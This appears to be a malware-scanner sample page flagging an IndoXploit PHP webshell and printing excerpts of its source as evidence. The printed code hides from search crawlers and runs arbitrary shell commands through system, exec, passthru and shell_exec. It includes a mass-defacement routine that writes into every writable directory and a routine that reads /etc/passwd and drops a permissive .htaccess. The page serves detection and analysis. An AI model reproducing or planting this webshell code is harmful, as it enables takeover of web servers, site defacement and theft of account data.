Hostile 100% kaker-scripts Download

6ce207251f98c61bfc53898a2de5c657

IndoXploit webshell with backdoors

Authenticated PHP POST command consoleAuthenticated PHP POST file manager webshell
SHA-2568e9c5a94da28c8e2173a3d1caa057ff3bb97e731d97e91e3f2ea9c0aceec2b37

Evidence

Names the CGI HTTP_USER_AGENT variable lines 1–31
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$auth_pass = "7815696ecbf1c96e6894b779456d330e"; // default: IndoXploit
14$color = "#00ff00";
15$default_action = 'FilesMan';
16$default_use_ajax = true;
17$default_charset = 'UTF-8';
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
⋯8 lines
Checks PHP shell_exec availability lines 203–241
⋯4 lines
207 }
208}
209function exe($cmd) {
210 if(function_exists('system')) {
211 @ob_start();
212 @system($cmd);
213 $buff = @ob_get_contents();
214 @ob_end_clean();
215 return $buff;
216 } elseif(function_exists('exec')) {
217 @exec($cmd,$results);
218 $buff = "";
219 foreach($results as $result) {
220 $buff .= $result;
221 } return $buff;
222 } elseif(function_exists('passthru')) {
223 @ob_start();
224 @passthru($cmd);
225 $buff = @ob_get_contents();
226 @ob_end_clean();
227 return $buff;
228 } elseif(function_exists('shell_exec')) {
229 $buff = @shell_exec($cmd);
230 return $buff;
231 }
232}
233function perms($file){
234 $perms = fileperms($file);
235 if (($perms & 0xC000) == 0xC000) {
236 // Socket
⋯5 lines
References the PHP scandir() function lines 484–499
484:7… if($_GET['do'] == 'mass_deface') {
485 function sabun_massal($dir,$namafile,$isi_script) {
486 if(is_writable($dir)) {
487 $dira = scandir($dir);
488 foreach($dira as $dirb) {
489 $dirc = "$dir/$dirb";
490 $lokasi = $dirc.'/'.$namafile;
491 if($dirb === '.') {
492 file_put_contents($lokasi, $isi_script);
493 } elseif($dirb === '..') {
494 file_put_contents($lokasi, $isi_script);
⋯5 lines
Calls PHP unlink() lines 557–570
557:9… c = "$dir/$dirb";
558 $lokasi = $dirc.'/'.$namafile;
559 if($dirb === '.') {
560 if(file_exists("$dir/$namafile")) {
561 unlink("$dir/$namafile");
562 }
563 } elseif($dirb === '..') {
⋯7 lines
Calls PHP fwrite() lines 593–607
593:7… m></center>";
594 }
595} elseif($_GET['do'] == 'config') {
596 $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
597 $idx = mkdir("idx_config", 0777);
598 $isi_htc = "Options all\nRequire None\nSatisfy Any";
599 $htc = fopen("idx_config/.htaccess","w");
600 fwrite($htc, $isi_htc);
601 while($passwd = fgets($etc)) {
602 if($passwd == "" || !$etc) {
603 echo "<font color=red>Can't read /etc/passwd</font>";
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.